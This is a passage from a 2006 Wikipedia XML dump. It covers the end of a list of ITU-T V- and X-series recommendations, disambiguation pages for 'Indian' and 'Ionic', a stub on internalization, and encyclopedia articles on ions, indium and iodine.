**[[V.27|V.27bis]] An extension of [[V.27]], first agreed in 1976, adding a fall-back modulation rate, compatible with [[V.26]], of 1200 [[baud]]s to carry data at 2400 [[Bit rate|bit/s]].  An adaptive equalizer is included to handle lower grade lines.
**[[V.27|V.27ter]] An extension of [[V.27|V.27bis]] for use on dial-up lines.
**[[V.28]] A recommendation, first agreed in 1972, for [[unbalanced]] electrical circuits for data communication.  Together with the circuit specifications of [[V.24]] and the 25-pin connector and pin assignments of IS 2110, this is compatible with [[EIA]] [[RS-232|RS 232]].
**[[V.29]] A recommendation, first agreed in 1976, for [[duplex (telecommunications)|full-duplex]] communication between two [[analogue]] fixed-line [[modem]]s using [[Quadrature amplitude modulation|QAM]] [[modulation]] at 2400 [[baud]]s to carry synchronous data at 9600 [[Bit rate|bit/s]].  Fallback rates of 7200 and 4800 bit/s use 2400 bauds at reduced modulations.  Multiplexing of 7200, 4800 and 2400 bit/s subchannels up to an aggregate rate of 9600 bit/s is optional.   An adaptation of this standard is used for facsimile (fax) transmission.
**[[V.32]] A recommendation, first agreed in 1984, for a family of [[duplex (telecommunications)|duplex]] [[analogue]] dial-up or fixed-line [[modem]]s using [[Quadrature amplitude modulation|QAM]] [[modulation]] at 2400 [[baud]]s to carry data at 9600/4800/2400 [[bit/s]]. 
**[[V.32|V.32bis]] A duplex modem operating at data signalling rates of up to '''14 400''' bit/s for use on the general switched telephone network and on leased point-to-point 2-wire telephone-type circuits, with [[fallback]] to 12 kbit/s. This standard was improved on by modem manufacturers to create the V.terbo adhoc standard, signalling at 19,2 kbit/s, as suggestive of a V.32ter standard that never materialized.
**[[V.34]] is the ITU-T standard for full-duplex data communications up to '''28,800''' [[bit/s]] with [[fallback]] to lower speeds depending on the [[remote]] modem and the conditions of the phone line. This standard was known informally as V.Fast, hence pre-standard modems called V.FC (V.FastClass).
**[[V.34]]bis A communications protocol for full-duplex datacommunications up to '''33,6 kbit/s''' between two analog modems on dial-up lines.
**[[V.42]] Error correction protocol
**[[V.42bis|V.42bis]] Data compression procedures for data circuit terminating equipment ([[DCE]]) using error correction procedures to try to ensure the transfer of error-free data, even over the noisiest telephone lines. Ratified by CCITT in January 1990.
**[[V.44]] Data compression protocol
**[[V.90]] A digital modem and analogue modem pair for use on the Public Switched Telephone Network ([[PSTN]]) at data signalling rates of up to '''56 000''' bit/s downstream and up to 33 600 bit/s upstream, using [[PCM]] encoding downstream, and [[QAM]] encoding upstream. V.90 Mode 2 used PCM upstream as well. This standard was known informally as V.Last and some pre-standard modems indicate V.Last compatibility or upgradeability. Prior to the arrival of the standard, there were two competing industry standards for 56 kbit/s downstream signalling, X2 and [[K56flex]]. K56flex itself is a merged standard of K56 and 56flex.
**[[V.92]] A digital modem and analog modem pair for use on [[Plain old telephone service|POTS]] at data signalling rates of up to '''56 kbit/s''' downstream and up to '''48 kbit/s''' upstream, using [[PCM]] encoding both ways, supporting Modem-on-Hold technology. This is a development of V.90 Mode 2.
===X - Data networks and open system communication===
**[[X.1]] International user classes of service in, and categories of access to, public data networks and Integrated Services Digital Networks (ISDNs)
**[[X.3]] This is essentially a numbered list of terminal and comms setting attributes.
**[[X.21]] Interface between Data Terminal Equipment and Data Circuit-terminating Equipment for synchronous operation on public data networks
**[[X.25]] Interface between Data Terminal Equipment (DTE) and Data Circuit-terminating Equipment (DCE) for terminals operating in the packet mode and connected to public data networks by dedicated circuit
**[[X.29]] Defines the level 4 (or the Session Layer, in the [[ISO_protocols]]) for X.25 communications. Call establishment and X.3 parameter negotiation occurs via the X.29 protocol.
**[[X.75]] Interface between DCE units in a network. Essentially transport of X.25 messaging.
**[[X.110]] International routing principles and routing plan for public data networks
**[[X.121]] International numbering plan for public data networks. This can be seen as the specification for X.25 Addresses.
**[[X.200]] Information technology - [[Open Systems Interconnection]] - Basic Reference Model: The basic model
**[[X.208]] Specification of Abstract Syntax Notation One ([[ASN.1]]) (superseded by X.680)
**[[X.209]] Specification of Basic Encoding Rules for Abstract Syntax Notation One (ASN.1) (superseded by X.690)
**[[X.400]] Message handling services: Message handling system and service overview
**[[X.500]] Information technology - Open Systems Interconnection - The Directory: Overview of concepts, models and services Common text with ISO/IEC
**[[X.509]] Information technology - Open Systems Interconnection - The Directory: Public-key and attribute [[public key certificate|certificate]] frameworks
**X.520 Information technology &amp;#8211; Open Systems Interconnection &amp;#8211; The Directory - Selected Attribute Types
**X.521 Information technology &amp;#8211; Open Systems Interconnection &amp;#8211; The Directory - Selected Object Classes
**X.680 series - [[ASN.1]] syntax specification 
**X.690 series - [[ASN.1]] encoding rules
** [[X.700]] Management framework for Open Systems Interconnection for CCITT applications
** X.701 Information technology — Open Systems Interconnection — Systems management overview
**[[X.800]] Security architecture for Open Systems Interconnection for CCITT applications

===Y - Global information infrastructure and Internet protocol aspects===
===Z - Languages and general software aspects for telecommunication systems===

* Z.200 The Programming Language [[CHILL]]

==See also==

* Other specifications which are numbered similarly to ITU-T Recommendations, but are not products of the ITU-T, include:
**[[X10 (industry standard)|X10]] Interface between Home Automation devices
**[[Electronic Data Interchange]] ANSI Standard
**[[ITU-R]] Recommendations, such as M.1457

==External links==

* [http://www.itu.int/ITU-T/ Official ITU-T website]
* [http://www.itu.int/ITU-T/publications/recs.html List of all ITU-T recommendations]

[[Category:Standards organizations]]
[[Category:Telecommunications]]

[[ca:Comité Consultiu Internacional Telegràfic i Telefònic]]
[[da:International Telecommunication Union, Telecommunication standardization sector]]
[[de:Comité Consultatif International Téléphonique et Télégraphique]]
[[es:CCITT]]
[[eo:CCITT]]
[[nl:ITU-T]]
[[ja:ITU-T]]
[[pl:ITU-T]]
[[sv:CCITT]]
[[zh:国际电信联盟远程通信标准化组]]</text>
    </revision>
  </page>
  <page>
    <title>Indian</title>
    <id>14745</id>
    <revision>
      <id>41436342</id>
      <timestamp>2006-02-27T08:12:56Z</timestamp>
      <contributor>
        <username>Bnitin</username>
        <id>344653</id>
      </contributor>
      <comment>Change Indian Airlines to Indian</comment>
      <text xml:space="preserve">{{wiktionarypar2|Indian|Indians}}
'''''Indian''''' or '''''Indians''''' can refer to:

*since 1947, a person from the [[Republic of India]], a nation-state
*until 1947, a person from the [[Indian subcontinent|subcontinent of India]], a continental landmass where the modern-day nation-states of [[India]], [[Pakistan]], and [[Bangladesh]] are located
*[[Languages of India]]
*[[Indian American]]
*[[Indian Airlines|Indian]], India's national carrier, formerly called Indian Airlines.
*[[Indigenous peoples of the Americas]], ''American Indians'', the aboriginal people of the Americas and their descendants
*[[Indian (motorcycle)]], a classical US motorcycle
*[[Cleveland Indians]], a baseball team in the United States
*''Indians'', a Chicago monument created by [[Ivan Meštrović]]
*[[Indus (constellation)]]
*[[Indian ink]] is a carbon based ink
*''[[Indians (play)]]'', by Arthur Kopit
*''[[Indian cinema ]]''

{{disambig}}

[[da:indianer]]
[[de:indisch]]
[[es:Indio]]
[[ja:&amp;#12452;&amp;#12531;&amp;#12487;&amp;#12451;&amp;#12450;&amp;#12531;]]
[[simple:Indian]]
[[sv:indian]]</text>
    </revision>
  </page>
  <page>
    <title>Internalization</title>
    <id>14746</id>
    <revision>
      <id>23627502</id>
      <timestamp>2005-09-20T21:43:25Z</timestamp>
      <contributor>
        <ip>193.164.126.16</ip>
      </contributor>
      <text xml:space="preserve">[[pl:Internalizacja]]
To '''internalize''' is to put something inside of borders where it did not originally belong. In [[sociology]] to '''internalize''' is to learn something (such as ideas or skills) and make use of it from then on.

[[Religious conversion]] is one example of this process.

Internalization is the opposite of [[externalization]].

In Freudian psychology, internalization is one of the concepts of the psychological process [[introjection]], a psychological [[defence mechanism]]. Cognate concepts are [[identification]] and incorporation.

{{socio-stub}}

[[Category:Sociology]][[Category:Social philosophy]]
[[he:הפנמה]]</text>
    </revision>
  </page>
  <page>
    <title>Ionic</title>
    <id>14747</id>
    <revision>
      <id>41957594</id>
      <timestamp>2006-03-02T21:53:08Z</timestamp>
      <contributor>
        <ip>171.72.5.226</ip>
      </contributor>
      <comment>/* From [[ancient Greece]] (''Ionic'') */</comment>
      <text xml:space="preserve">{{disambig}}

== From [[ancient Greece]] (''Ionic'') ==

* An '''Ionian''' is a member of the [[Ionians]], one of the four great divisions of the [[Ancient Greece|ancient Greek]] people.

* '''[[Ionia]]''' is an ancient region in western [[Anatolia]], in which the Ionian settlers established some colonies.

* In the ancient [[Greek language]], an '''[[Ionic dialect]]''' is any of several related [[dialect]]s.

* The '''[[Ionian Islands]]''' are seven [[Greece|Greek]] islands which lie on the eastern coast of the '''[[Ionian Sea]]''', in the [[Mediterranean Sea]] between [[Greece]] and [[Southern Italy]].

* In [[architecture]], the '''[[Ionic order]]''' is one of the [[classical orders|orders]] of [[classical architecture]].

* In [[Greek language|Greek]] and [[Latin]] [[prosody]], an '''Ionic foot''' is a [[foot (prosody)|foot]] that consists of two long syllables followed by two short ('''major''' or '''greater ionic''') or two short followed by two long ('''minor''' or '''smaller ionic'''). An '''Ionic metre''' is a [[metre (poetry)|metre]] that consists of Ionic feet.

* The '''[[Greek numerals|Ionic numeral system]]''' is a [[numeral system]] using letters from the [[Greek alphabet]].

* In ancient [[Greek philosophy]], the '''[[Ionic school]]''' was founded by [[Thales of Miletus]] in [[Ionia]].

* '''[[Ionian mode]]''' is one of the [[musical mode|mode]]s in [[ancient Greece|ancient Greek]] music; it corresponds to the modern [[major diatonic scale]].

* In [[typography]], '''Ionic type''' is a typeface distinguished by prominent serifs and a high degree of legibility.

* In [[indie rock]] music, '''[[The Ionics]]''' are a band based in Tempe, Arizona.

== Physics and chemistry (''ionic'') ==

* An '''[[ion]]''' is an [[atom]] or group of atoms with a net [[electric charge]].

* An '''[[ionic bond]]''' is a [[chemical bond]] in which [[electrostatic]] attraction links oppositely charged [[ion]]s in a [[chemical compound]].

[[de:Ionisch]]
[[nl:Ionisch]]</text>
    </revision>
  </page>
  <page>
    <title>Ion</title>
    <id>14748</id>
    <revision>
      <id>41925033</id>
      <timestamp>2006-03-02T17:38:21Z</timestamp>
      <contributor>
        <ip>134.9.228.11</ip>
      </contributor>
      <comment>/* Other ions */</comment>
      <text xml:space="preserve">: ''This article is about the electrically charged particle. For other uses of this word, see ''[[ion (disambiguation)]]''.''
{{TOCright}}
An '''ion''' is an [[atom]] or [[Polyatomic ion|group]] of atoms with a net electric charge. A negatively-charged ion, which has more [[electron]]s in its [[electron shell]]s than it has [[proton]]s in its [[atomic nucleus|nuclei]], is known as an '''anion''', for it is attracted to [[anode]]s; a positively-charged ion, which has fewer electrons than protons, is known as a '''cation''' (pronounced ''cat-eye-on''), for it is attracted to [[cathode]]s. An ion with a single atom is a [[monatomic ion]], and an ion with more than one is a [[polyatomic ion]]. Larger ions containing many atoms are refered to as [[molecular ion]]s. The process of converting into ions and the state of being ionized is called '''ionization'''. The recombining of ions and electrons to form neutral atoms is called ''recombination''. A [[Polyatomic ion|polyatomic anion]] that contains [[oxygen]] is sometimes known as an '''oxyanion'''.

Atomic and polyatomic ions are denoted by a superscript with the sign of the net electric charge and the number of electrons lost or gained, if more than one. For example: [[Hydrogen|H]]&lt;sup&gt;+&lt;/sup&gt;, [[Sulphur|S]][[Oxygen|O]]&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;2−&lt;/sup&gt;.

A collection of non-[[aqueous]] gaseous ions, or even a gas containing a proportion of charged particles, is called a '''[[Plasma (physics)|plasma]]''', which is called the ''fourth state of matter'' because its properties are quite different from [[solid]]s, [[liquid]]s, and [[gas]]es.

== Ionization potential ==
{{main_article|[[Ionization potential]]}}

The [[energy]] required to detach an electron in its lowest energy state from an atom or molecule of a gas with less net electric charge is called the ''ionization potential'', or ''ionization energy''. The ''n''th ionization energy of an atom is the energy required to detach its ''n''th electron after the first ''n − 1'' electrons have already been detached.

Each successive ionization energy is markedly greater than the last. Particularly great increases occur after any given block of [[atomic orbital]]s is exhausted of electrons. For this reason, ions tend to form in ways that leave them with full orbital blocks. For example, [[sodium]] has one ''[[valence electron]]'', in its outermost shell, so in ionized form it is commonly found with one lost electron, as Na&lt;sup&gt;+&lt;/sup&gt;. On the other side of the periodic table, [[chlorine]] has seven valence electrons, so in ionized form it is commonly found with one gained electron, as Cl&lt;sup&gt;−&lt;/sup&gt;. [[Francium]] has the lowest ionization energy of all the elements and [[fluorine]] has the greatest.

== Formation of polyatomic and molecular ions ==

Polyatomic and molecular ions are often formed by the combination of elemental ions such as H&lt;sup&gt;+&lt;/sup&gt; with neutral molecules or by the loss of such elemental ions from neutral molecules. Many of these processes are acid-bases reactions. A simple example of this is the ammonium ion NH&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt; which can be formed by ammonia NH&lt;sub&gt;3&lt;/sub&gt; accepting a proton, H&lt;sup&gt;+&lt;/sup&gt;. Ammonia and ammonium have the same number of electrons in essentially the same electronic configuration but differ in protons. The charge has been added by the addition of a proton (H&lt;sup&gt;+&lt;/sup&gt;) not the addition or removal of electrons.  The distinction between this and the removal of an electron from the whole molecule is important in large systems because it usually results in much more stable ions with complete electron shells.  For example NH&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;'''·'''+&lt;/sup&gt; is not stable because of an incomplete valence shell around nitrogen and is in fact a [[radical (chemistry)|radical]] ion.

== Other ions ==
A '''dianion''' is a species which has two negative charges on it. For example, the dianion of [[pentalene]] is [[aromatic]]. A [[zwitterion]] is an ion with a net charge of zero, but has both a positive and negative charge on it. [[radical (chemistry)|Radical]] ions are ions that contain an odd number of electrons and are mostly very reactive and unstable.

== History ==

Ions were first theorized by [[Michael Faraday]] around 1830, to describe the portions of molecules that travel either to an anode or to a cathode. However, the mechanism by which this was achieved was not described until 1884 by [[Svante August Arrhenius]] in his doctoral dissertation to the [[University of Uppsala]]. His theory was initially not accepted but his dissertation won the [[Nobel Prize in Chemistry]] in [[1903 in science|1903]].

=== Etymology ===

The word ''ion'' is a name given by [[Michael Faraday]], from [[Greek language|Greek]] ''{{polytonic|&amp;#7984;&amp;#8057;&amp;nu;}}'', neutral present participle of ''{{polytonic|&amp;#7984;&amp;#8051;&amp;nu;&amp;alpha;&amp;iota;}}'', &quot;to go&quot;, thus &quot;a goer&quot;. So, ''anion'', ''{{polytonic|&amp;#7936;&amp;nu;&amp;iota;&amp;#8057;&amp;nu;}}'', and ''cation'', ''&amp;kappa;{{polytonic|&amp;alpha;&amp;tau;&amp;iota;&amp;#8057;&amp;nu;}}'', mean &quot;(a thing) going up&quot; and &quot;(a thing) going down&quot;, respectively; and ''anode'', ''{{polytonic|&amp;#7940;&amp;nu;&amp;omicron;&amp;delta;&amp;omicron;&amp;sigmaf;}}'', and ''cathode'', ''&amp;kappa;{{polytonic|&amp;#8049;&amp;theta;&amp;omicron;&amp;delta;&amp;omicron;&amp;sigmaf;}}'', mean &quot;a going up&quot; and &quot;a going down&quot;, respectively, from ''{{polytonic|&amp;#8001;&amp;delta;&amp;#8057;&amp;sigmaf;}}'', &quot;way,&quot; or &quot;road.&quot;

== Applications ==

Ions are essential to [[life]].  [[Sodium]], [[potassium]], [[calcium]] and other ions play an important role in the [[cell (biology)|cell]]s of living organisms, particularly in [[cell membrane]]s.  They have many practical, everyday applications in items such as [[smoke detectors]], and are also finding use in unconventional technologies such as [[ion engines]] and [[ion cannons]].

[[Category:Ions| ]]
[[Category:Physical chemistry]]

[[bg:Йон]]
[[ca:Ió (àtom)]]
[[cs:Ion]]
[[da:Ion (kemi)]]
[[de:Ion]]
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[[es:Ion]]
[[eo:Jono]]
[[fr:Ion]]
[[ko:이온]]
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[[id:Ion]]
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[[hu:Ion]]
[[ms:Ion]]
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[[nds:Ion]]
[[ja:イオン]]
[[no:Ion]]
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[[ro:Ion]]
[[ru:Ион]]
[[simple:Ion]]
[[sl:Ionizacijska energija]]
[[sr:Јон]]
[[fi:Ioni]]
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[[sv:Jon]]
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[[th:ไอออน]]
[[vi:Ion]]
[[uk:Іон (фізичний)]]
[[zh:离子]]</text>
    </revision>
  </page>
  <page>
    <title>Indium</title>
    <id>14749</id>
    <revision>
      <id>42056178</id>
      <timestamp>2006-03-03T14:26:45Z</timestamp>
      <contributor>
        <username>Edgar181</username>
        <id>491706</id>
      </contributor>
      <comment>Revert to revision 40364360 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
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{{Elementbox_cas_number | 7440-74-6 }}
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 | na=95.7% | hl=4.41&amp;times;10&lt;sup&gt;14&lt;/sup&gt;[[year|y]]
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{{Elementbox_footer | color1=#cccccc | color2=black }}

'''Indium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''In''' and [[atomic number]] 49. This rare, soft, malleable and easily fusible [[poor metal]], is chemically similar to [[aluminium]] or [[gallium]] but looks more like [[zinc]] (zinc ores are also the primary source of this metal). Its current primary application is to form transparent electrodes from [[Indium tin oxide]] in [[liquid crystal displays]].  It is also widely used in thin-films to form lubricated layers (during [[World War II]] it was widely used to coat bearings in high-performance [[aircraft]]).

== Notable characteristics ==
Indium is a very soft, silvery-[[white]] true [[metal]] that has a bright [[luster]]. As a pure metal indium emits a high-pitched &quot;cry&quot; when it is bent. Both [[gallium]] and indium are able to wet [[glass]].

One unusual property of indium is that its most common [[isotope]] is very slightly radioactive; it very slowly decays by [[beta emission]] to [[tin]] over time. This radioactivity is not considered hazardous, mainly because its decay rate is nearly 50,000 times slower than that of natural [[thorium]], with a half-life of 4 x 10&lt;sup&gt;14&lt;/sup&gt; years; many thousands of times longer than the estimated age of the universe. This radioactivity is exploited by medicine to scan bone for infection or inflammation. Also, indium is not a notorious cumulative poison, like its neighbor [[cadmium]], and is relatively rare.

== Applications ==
The first large-scale application for indium was as a coating for [[bearing (mechanical)|bearing]]s in high-performance [[aircraft]] engines during [[World War II]].  Afterwards, production gradually increased as new uses were found in fusible [[alloy]]s, [[solder]]s, and [[electronics]].  In the middle and late [[1980s]], the development of indium phosphide [[semiconductor]]s and indium-[[tin]]-[[oxide]] thin films for [[liquid crystal display]]s (LCD) aroused much interest.  By 1992, the thin-film application had become the largest end use. Other uses;
*Used in the manufacture of low-melting-temperature [[alloy]]s. An alloy consisting of 24% indium and 76% gallium is [[liquid]] at room temperature.
*Some indium compounds such as [[indium antimonide]], [[indium phosphide]], and [[indium nitride]] are [[semiconductors]] with useful properties
*Used as a [[semiconductor]] [[dopant]]
*Can also be plated onto metals and evaporated onto glass which forms a [[mirror]] which is as good as those made with [[silver]] but has higher [[corrosion]] resistance.
*Its [[oxide]] is used in the making of [[electroluminescent]] panels.
*Used as a light filter in [[sodium vapor lamp#Low pressure / LPS / SOX|Low pressure sodium vapor lamp]]s
*Indium's freezing point of 429.7485 K (156.5985 °C) is a defining fixed point on the international temperature scale [[ITS-90]].
*Sometimes used as a component of nuclear [[control rod]]s.

== History ==
Indium (named after the [[indigo]] line in its [[atomic spectrum]]) was discovered by [[Ferdinand Reich]] and [[Hieronymous Theodor Richter]] in [[1863]]  while they were testing [[zinc]] ores with a [[spectrograph]] in search of [[thallium]]. It is interesting to note that most elements were discovered while searching for other elements.  Richter went on to isolate the metal in [[1867]].

== Occurrence ==
[[Image:Indium wire.jpg|thumb|left|Ductile Indium wire]]
Indium is produced mainly from residues generated during [[zinc]] [[ore]] processing but is also found in [[iron]], [[lead]], and [[copper]] ores. The amount of indium consumed is largely a function of worldwide LCD production.  Increased manufacturing efficiency and recycling (especially in [[Japan]]) maintain a balance between demand and supply. The average indium price for 2005 was [[United States dollar|US$]]900 per [[kilogram]].  This is unusually high.  Demand increased as the metal is used in [[LCD]]s televisions, and supply decreased when a number of [[China|Chinese]] [[mining]] concerns stopped extracting indium from their [[zinc]] tailings.  In 2002, the price was US$94/Kg.

Up until [[1924]], there was only about a [[gram]] of isolated indium on the planet. The Earth is estimated to contain about 0.1 [[part per million|ppm]] of indium which means it is about as abundant as [[silver]]. Canada is a leading producer of indium, producing more than 1,000,000 [[troy ounce]]s (31,100 kg) in 1997.

== Precautions ==
Pure indium in metal form is considered non-toxic by most sources. This may not be the case with indium compounds: there is some unconfirmed evidence that suggests that indium has a low level of [[toxic]]ity. However, in the [[welding]] and [[semiconductor]] industries, where indium exposure is relatively high, there have been no reports of any toxic side-effects.
Other sources are more definite about indium compounds' toxicity - for example, the [http://www.webelements.com/ WebElements] website states that ''&quot;All indium compounds should be regarded as highly toxic. Indium compounds damage the heart, kidney, and liver, and may be [[teratogenic]].&quot;'' For example, [[indium trichloride]] anhydrous (InCl3) is quite toxic, while [[indium phosphide]] (InP) is both toxic and a suspected [[carcinogen]].

==References==
*[http://periodic.lanl.gov/elements/49.html Los Alamos National Laboratory &amp;ndash; Indium]

==External links==
{{Commons|Indium}}
*[http://www.webelements.com/webelements/elements/text/In/index.html WebElements.com &amp;ndash; Indium]

[[Category:Chemical elements]]
[[Category:Poor metals]]

[[ar:إنديوم]]
[[ca:Indi (element)]]
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[[ko:인듐]]
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[[he:אינדיום]]
[[ku:Îndiyûm]]
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[[ja:インジウム]]
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[[zh:铟]]</text>
    </revision>
  </page>
  <page>
    <title>Iodine</title>
    <id>14750</id>
    <revision>
      <id>41669148</id>
      <timestamp>2006-02-28T23:25:46Z</timestamp>
      <contributor>
        <username>Xiner</username>
        <id>633563</id>
      </contributor>
      <comment>/* Precautions */</comment>
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'''Iodine''' (from the Gr. ''Iodes'', meaning &quot;violet&quot;), is a [[chemical element]] in the [[periodic table]] that has the symbol '''I''' and [[atomic number]] 53. It is required as a [[trace element]] for most living [[organism]]s. Chemically, iodine is the least reactive of the [[halogen]]s, and the most electropositive halogen. Iodine is primarily used in [[medicine]], [[photography]] and in dyes.
As with all other halogens (members of Group VII in the Periodic Table), iodine is found as diatomic molecules, and hence, has the molecular formula of I&lt;sub&gt;2&lt;/sub&gt;, RMM=127.

== Notable characteristics ==
Iodine is a silvery-gray, lustrous solid that [[sublimation (chemistry)|sublimes]] at standard temperatures into a purple-pink gas that has an irritating odor. This halogen forms compounds with many elements, but is less active than the other members of its Group VII (halogens) and has some metallic-like properties. Iodine dissolves easily in [[chloroform]], [[carbon tetrachloride]], or carbon disulphide to form purple solutions (It is only slightly [[solubility|soluble]] in water, giving a yellow solution). The deep blue color with [[starch]] is a characteristic only of the free element.

== Applications ==
In areas where there is little iodine in the diet&amp;mdash;typically remote inland
areas and semi-arid equatorial climates where no marine foods are eaten&amp;mdash;[[iodine deficiency]] gives rise to
[[goiter]], so called [[endemic goiter]]. In some such areas, this is now combated by the addition of small amounts of iodine to table salt in form of sodium iodide, potassium iodide, potassium iodate&amp;mdash;this product is known as ''[[iodized salt]]''. Iodine deficiency is the leading cause of preventable [[mental retardation]]. Iodine deficency remains a serious problem that affects people around the globe.
Other uses:
*One of the [[halogen]]s, it is an essential [[trace element]]; the [[thyroid]] [[hormone]]s, ''[[thyroxine]]'' and ''[[triiodothyronine]]'' contain iodine.
*[[Tincture of iodine]] (3% elemental iodine in water/ethanol base) is an essential component of any emergency survival kit, used both to disinfect wounds and to sanitize surface water for drinking (3 drops per liter, let stand for 30 minutes)
*Iodine compounds are important in the field of [[organic chemistry]] and are very useful in [[medicine]].
*Iodides and [[thyroxine]] which contains iodine, are both used in internal medicine and, in combination with [[ethanol|alcohol]] (as tincture of iodine) are used externally to disinfect wounds.
*[[Silver iodide]] is used in photography.
*[[Potassium iodide]] (KI) tablets or liquid drops can be given to people in a nuclear disaster area when [[fission]] has taken place, to flush out the radioactive iodine-131 fission product. The half-life of iodine-131 is only eight days, so the treatment would need to continue only a couple of weeks. In cases of leakage of nuclear materials without fission, or a [[dirty bomb]], this precaution would be of no avail. KI might also serve to dilute the radioactive [[caesium-137]] produced by nuclear fission, because caesium is chemically related to potassium, but potassium chloride would serve as well. The latter is available in low-sodium table salt. The use of KI or NaI to dilute radioactive caesium is problematic, however, because the latter has a half-life of thirty years, requiring long-term dietary change if it is to be diluted with non-radioactive potassium.
*[[Tungsten]] iodide is used to stabilize the filaments in [[light bulb]]s.
*[[Nitrogen triiodide]] is an explosive, too unstable to be used commercially, but is commonly used in college [[prank]]s.
*[[Iodine-131]] is used as a tracer in medicine.

== History ==
Iodine ([[Greek language|Gr.]] ''iodes'' meaning violet) was discovered by [[Barnard Courtois]] in [[1811]].  He was the son of a manufacturer of [[saltpeter]] (potassium nitrate, a vital part of gunpowder). At the time [[France]] was at war and gunpowder was in great demand. Saltpeter was isolated from seaweed washed up on the coasts of [[Normandy]] and [[Brittany]]. To isolate the potassium nitrate, seaweed was burned and the ash then washed with water. The remaining waste was destroyed by adding [[sulfuric acid]]. One day Courtois added too much sulfuric acid and a cloud of purple vapor rose. Courtois noted that the vapor crystallized on cold surfaces making dark crystals. Courtois suspected that this was a new element but lacked the money to pursue his observations.

However he gave samples to his friends, [[Charles Bernard Desormes]] ([[1777]]&amp;ndash;[[1862]]) and [[Nicolas Clément]] ([[1779]]-&amp;ndash;[[1841]]) to continue research. He also gave some of the substance to [[Joseph Louis Gay-Lussac]] ([[1778]]&amp;ndash;[[1850]]), a well-known chemist at that time, and to [[André-Marie Ampère]] ([[1775]]&amp;ndash;[[1836]]). On [[November 29]] [[1813]] Dersormes and Clément made public Courtois&amp;rsquo; discovery. They described the substance to a meeting of the Imperial Institute of France. On [[December 6]] Gay-Lussac announced that the new substance was either an element or a compound of oxygen. Ampère had given some of his sample to [[Humphry Davy]] (1778&amp;ndash;[[1829]]). Davy did some experiments on the substance and noted its similarity to chlorine. Davy sent a letter dated [[December 10]] to the [[Royal Society of London]] stating that he had identified a new element. A large argument erupted between Davy and Gay-Lussac over who identified iodine first but both scientists acknowledged Bernard Courtois as the first to isolate the [[chemical element]].

== Occurrence ==
Iodine can be prepared in an ultrapure form through the reaction of [[potassium iodide]] with [[copper (II) sulfate]]. There are also several other methods of isolating this element. Although the element is actually quite rare, [[kelp]] and certain other plants have the ability to concentrate iodine, which helps introduce the element into the food chain as well as keeping its cost down.

== Isotopes ==
There are 37 [[isotope]]s of iodine and only one, I-127, is stable. The artificial [[radioisotope]] I-131 (a beta emitter), also known as [[radioiodine]] which has a [[half-life]] of 8.0207 days, has been used in treating [[cancer]] and other pathologies of the [[thyroid]] [[gland]]s. The most common compounds of iodine are the iodides of [[sodium]] and [[potassium]] ([[potassium iodide|KI]]) and the iodates (KIO&lt;sub&gt;3&lt;/sub&gt;).

I-129 ([[half-life]] 15.7 million years) is a product of [[xenon|Xe]]-129 [[spallation]] in the [[Earth's atmosphere|atmosphere]] and [[uranium]] and [[plutonium]] fission, both in subsurface rocks and nuclear reactors. Nuclear processes, in particular nuclear fuel reprocessing and atmospheric nuclear weapons tests have now swamped the natural signal for this isotope. I-129 was used in rainwater studies following the [[Chernobyl accident]]. It also has been used as a ground-water tracer and as an indicator of nuclear waste dispersion into the natural environment.  If humans are exposed to I-129, the thyroid gland will absorb it as if it were non-radioactive Iodine, leading to elevated chances of thyroid cancer.  Taking large amounts of regular iodine will saturate the thyroid and prevent uptake.  Iodine pills are sometimes distributed to persons living close to nuclear establishments, for use in case of accidents that could lead to releases of radioactive Iodine.

In many ways, I-129 is similar to [[chlorine]]-36. It is a soluble halogen, fairly non-reactive, exists mainly as a non-sorbing [[anion]], and is produced by cosmogenic, thermonuclear, and in-situ reactions. In hydrologic studies, I-129 concentrations are usually reported as the ratio of I-129 to total I (which is virtually all I-127). As is the case with Cl-36/Cl, I-129/I ratios in nature are quite small, 10&lt;sup&gt;-14&lt;/sup&gt; to 10&lt;sup&gt;-10&lt;/sup&gt; (peak thermonuclear I-129/I during the 1960s and 1970s reached about 10&lt;sup&gt;-7&lt;/sup&gt;). I-129 differs from Cl-36 in that its half-life is longer (15.7 vs. 0.301 million years), it is highly biophilic, and occurs in multiple [[ion]]ic forms (commonly, I- and iodate) which have different chemical behaviors. This makes it fairly easy for I-129 to enter the biosphere as it becomes incorporated into vegetation, soil, milk, animal tissue, etc. 

Excesses of Xe-129 in meteorites have been shown to result from decay of I-129.  This was the first [[extinct radionuclide]] to be identified as present in the early [[solar system]].  Its decay is the basis of the I-Xe [[radiometric dating]] scheme, which covers the first 50 million years of [[solar system]] evolution.

== Precautions ==
Direct contact with skin can cause lesions, so it should be handled with care. Iodine vapor is very irritating to the [[eye]] and to mucous membranes. Concentration of iodine in the air should not exceed 1 [[milligram|mg]]/[[cubic metre|m³]] (eight-hour time-weighted average).

== Compounds ==
*[[Ammonium iodide]] (NH&lt;sub&gt;4&lt;/sub&gt;I)
*[[Caesium iodide]] (CsI)
*[[Copper(I) iodide]] (CuI)
*[[Hydroiodic acid]] (HI)
*[[Iodic acid]] (HIO&lt;sub&gt;3&lt;/sub&gt;)
*[[Iodine cyanide]] (ICN)
*[[Iodine heptafluoride]] (IF&lt;sub&gt;7&lt;/sub&gt;)
*[[Iodine pentafluoride]] (IF&lt;sub&gt;5&lt;/sub&gt;)
*[[Lead(II) iodide]] (PbI&lt;sub&gt;2&lt;/sub&gt;)
*[[Lithium iodide]] (LiI)
*[[Nitrogen triiodide]] (NI&lt;sub&gt;3&lt;/sub&gt;)
*[[Potassium iodide]] (KI)
*[[Sodium iodide]] (NaI)
''See also [[:category:Iodine compounds]]''

==References==
*[http://periodic.lanl.gov/elements/53.html Los Alamos National Laboratory - Iodine]

== External links ==
{{Commons|Iodine}}
*[http://www.webelements.com/webelements/elements/text/I/index.html WebElements.com - Iodine]
*[http://www.chemicalelements.com/elements/i.html ChemicalElements.com - Iodine]
*[http://whqlibdoc.who.int/publications/2004/9241592001.pdf who.int - WHO Global Database on Iodine Deficiency]
*[http://www.iodinenetwork.net Network for Sustained Elimination of Iodine Deficiency]

== See also ==

* [[Iodized salt]]

[[Category:Chemical elements]]
[[Category:Halogens]]
[[Category:Antiseptics]]
[[Category:Staining dyes]]

[[ca:Iode]]
[[cs:Jód]]
[[da:Jod]]
[[de:Iod]]
[[et:Jood]]
